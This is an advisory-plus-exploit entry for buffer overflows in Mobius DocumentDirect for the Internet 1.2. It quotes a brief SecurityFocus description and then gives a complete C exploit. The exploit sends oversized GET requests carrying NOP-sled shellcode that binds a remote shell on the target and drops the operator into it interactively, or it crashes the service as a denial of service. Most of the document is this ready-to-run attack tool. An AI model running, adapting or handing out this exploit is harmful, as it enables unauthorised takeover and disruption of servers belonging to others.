Mobius DocumentDirect for the Internet 1.2 - Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/1657/info

A number of unchecked static buffers exist in Mobius' DocumentDirect for the Internet program. Depending on the data entered, arbitrary code execution or a denial of service attack could be launched under the privilege level of the corresponding service.

Buffer Overflow #1 - Issuing the following GET request will overflow DDICGI.EXE:

GET /ddrint/bin/ddicgi.exe?[string at least 1553 characters long]=X HTTP/1.0

Buffer Overflow #2 - Entering a username consisting of at least 208 characters in the web authorization form will cause DDIPROC.EXE to overflow. If random data were to be used, a denial of service attack would be launched against the DocumentDirect Process Manager which would halt all services relating to it.

Buffer Overflow #3 - Issuing the following GET request will cause an access validation error in DDICGI.EXE:

GET /ddrint/bin/ddicgi.exe HTTP/1.0\r\nUser-Agent: [long string of characters]\r\n\r\n

/*

 Mobius DocumentDirect for the Internet 1.2 Buffer Overflow Vulnerabilities
 Remote Xploit by [email protected]
 Date: 08/09/y2k

 Bugtraq id :   1657
 Class      :   Boundary Condition Error
 Cve        :   GENERIC-MAP-NOMATCH
 Remote     :   Yes
 Local      :   Yes
 Published  :   September 08, 2000
 Vulnerable :   Mobius DocumentDirect for the Internet 1.2
                - Microsoft Windows NT 4.0

 SecurityFocus Reports:

 "A number of unchecked static buffers exist in Mobius' DocumentDirect
 for the Internet program. Depending on the data entered, arbitrary code
 execution or a denial of service attack could be launched under the
 privilege level of the corresponding service."


 Girl of the month: niness (heh)

 Legal Notice: No animals where harmed during the coding of this Xploit...

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct Xploiting_ways {
  char *Xploit_way;
  int port;
  char *command;
  int overflow_string_size;
};

struct Xploiting_ways Xploiting_ways[]={
  {"Mobius ddicgi.exe XPLOIT",80,"GET /ddrint/bin/ddicgi.exe?BO=X HTTP/1.0\n\n",1553},
  {"Mobius DoS [username]",80,"GET / HTTP/1.1\nUnless-Modified-Since: BO\n\n",215},
  {"Mobius DoS [long string]",80,"GET /ddrint/bin/ddicgi.exe HTTP/1.0\r\nUser-Agent: BO\r\n\r\n",2048},
  {NULL,0,NULL,0}
};

#define NOP                               0x90
#define PORT_LOCATION                      524 // Port will be injected on
                                               // byte'shellcode + 524
// Leet Port Binder'shellcode for Win b0xez...
char shellcode[] =
  "\x4b\x8b\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
  "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b\xc7\x48"
  "\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90\x56\xff\x13\x8b"
  "\xd0\xfc\x33\xc9\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9"
  "\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a\xe2"
  "\xec\x32\xc0\xac\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff"
  "\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
  "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a"
  "\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
  "\xe8\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57"
  "\xf0\x33\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
  "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad"
  "\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
  "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06\x89\x47"
  "\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x33\xc0"
  "\x50\x50\x50\x40\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff"
  "\x57\xc8\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
  "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50"
  "\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
  "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0\x83\x3f"
  "\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56\xff\x77\xa8\xff"
  "\x57\xdc\x0b\xc0\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff"
  "\x57\xf8\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
  "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77"
  "\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
  "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc"
  "\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8"
  "\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8"
  "\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
  "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7"
  "\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
  "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0"
  "\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5"
  "\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea"
  "\xea\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
  "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7"
  "\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
  "\xfc\xfa\xef\x99\x9b\x99"
  "\xff\xff" // Port Number will be injected here...
  "\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99"
  "\xff\xff\xff\xff\x09\x1f\x40\x00\x0d\x0ah";

int
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
   he=gethostbyname(host);
   if (he==NULL) return -1;
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
   if (sock==-1) return -1;
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);
   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
   return sock;
}

void
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void
own3dshell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!\n");
     printf("Exiting...\n\n");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}

void
own_or_DoS(char *host, int type, int bind_shell_port)
{
 char *buf, *tmp;
 int sock, i, x, buffer_size, bindshell=bind_shell_port;
 unsigned char *ShellPortOffset;
 printf("Type Number     : %d\n",type);
 printf("Xploit way      : %s\n",Xploiting_ways[type].Xploit_way);
 printf("Port            : %d\n",Xploiting_ways[type].port);
 printf("Bind Shell Port : %d\n",bindshell);
 printf("Let the show begin ladyes...\n");
 printf("Connecting to %s [%d]...",host,Xploiting_ways[type].port);
 sock=openhost(host,Xploiting_ways[type].port);
 if (sock==-1)
 {
  printf("FAILED!\n");
  printf("Couldnt connect...leaving :|\n\n");
  exit(-1);
 }
 printf("SUCCESS!\n");
 printf("Determinating buffer size...");
 buffer_size=(strlen(Xploiting_ways[type].command)
             +
             Xploiting_ways[type].overflow_string_size);
 printf("DONE! (%d)\n",buffer_size);
 printf("Allocating memory for buffer...");
 if (!(buf=malloc(buffer_size)))
 {
  printf("FAILED!\n");
  printf("Leaving... :[\n\n");
  exit(-1);
 }
 printf("WORKED!\n");
 printf("Allocating memory for temp buffer...");
 if (!(tmp=malloc(Xploiting_ways[type].overflow_string_size)))
 {
  printf("FAILED!\n");
  printf("Leaving... :[\n\n");
  exit(-1);
 }
 printf("WORKED TO! (heh)\n");
 if (bindshell==0) // aka DoS (type > 0)
    bzero(tmp,Xploiting_ways[type].overflow_string_size);
 else // aka Xploit (type == 0)
 {
  for(i=0;
      i<Xploiting_ways[type].overflow_string_size-strlen(shellcode);
      i++) tmp[i]=NOP;
  // Now we inject the 16 byte port number on tha shellcode ;)
  ShellPortOffset = shellcode + PORT_LOCATION;
  bind_shell_port ^= 0x9999;
  *ShellPortOffset = (char) ((bind_shell_port >> 8) & 0xff);
  *(ShellPortOffset + 1) = (char) (bind_shell_port & 0xff);
  strcat(tmp,shellcode);
 }
 for(i=0;;i++)
  if ((Xploiting_ways[type].command[i]=='B') &&
      (Xploiting_ways[type].command[i+1]=='O')) break;
  else buf[i]=Xploiting_ways[type].command[i];
 strcat(buf,tmp);
 i+=2;
 for(;i<strlen(Xploiting_ways[type].command);i++)
    buf[strlen(buf)]=Xploiting_ways[type].command[i];
 printf("Sending EVIL buffer ;)\n");
 sends(sock,buf);
 close(sock);
 printf("Freeing buffers...");
 free(buf);
 free(tmp);
 printf("DONE!\n");
 // Lets test if it is a DoS or a Xploit again...
 if (bindshell>0)
 {
  printf("Trying to binded'shell [%d]...",bindshell);
  sock=openhost(host,bindshell);
  if (sock==-1)
  {
   printf("FAILED!\n");
   printf("Too bad... :[ exiting...\n\n");
   exit(-1);
  }
  printf("W0RK3D! ;)\n");
  printf("Prepare to have an orgazm...(or something like that *g*)\n");
  own3dshell(sock);
  printf("I RULE!\n"); // Heh, nobody will ever'c thiz message, so why not? ;)
 }
 else
 {
  printf("If the rem0te box was running a vulnerable version, it CRASHED =)\n");
  printf("Regardz, [email protected]\n\n");
 }
}

void
show_types()
{
 int i;
 printf("\n\t\t\t-* Available Typez *-\n\n");
 for(i=0;(Xploiting_ways[i].Xploit_way!=NULL);i++)
 {
  printf("Type Number: %d\nXploit Way : %s\nPort       : %d\nOverflow string size : %d\n-************************-\n",i
        ,Xploiting_ways[i].Xploit_way
        ,Xploiting_ways[i].port
        ,Xploiting_ways[i].overflow_string_size);
 }
}

main(int argc, char *argv[])
{
 int i;
 // lets keep on (int) var i the number of types ;)
 for(i=0;;i++) if (Xploiting_ways[i].Xploit_way==NULL) break;
 i--; // oh shit! Cant forget that'array[0] thingie! :))
 printf("\nMobius DocumentDirect for the Internet 1.2 Xploit by [email protected]\n\n");
 if (argc<3) {
    printf("Sintaxe: %s <host> <type number> [bind shell port] [port (server)]\n",argv[0]);
    show_types();
    printf("\nFlamez to [email protected]\n\n");
 }
 else
    if ((atoi(argv[2])<=i) && (atoi(argv[2])>=0))
    {
     if (argc==3)
      if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
      else
      {
       printf("- Bad Sintaxe -\n");
       printf("Leaving...\n\n");
      }
     else
        if (argc==4)
        {
         if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
         else
            own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
        }
        else
         if ((atoi(argv[3])>0) && (atoi(argv[4])>0))
         {
          Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
          if (atoi(argv[2])>0)
           own_or_DoS(argv[1],atoi(argv[2]),0);
          else
           own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
          Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
         }
    }
    else
    {
     printf("- Bad Type Number - [Range 0 - %d]\n",i);
     printf("Let's try again... :P heh\n\n");
    }
          
}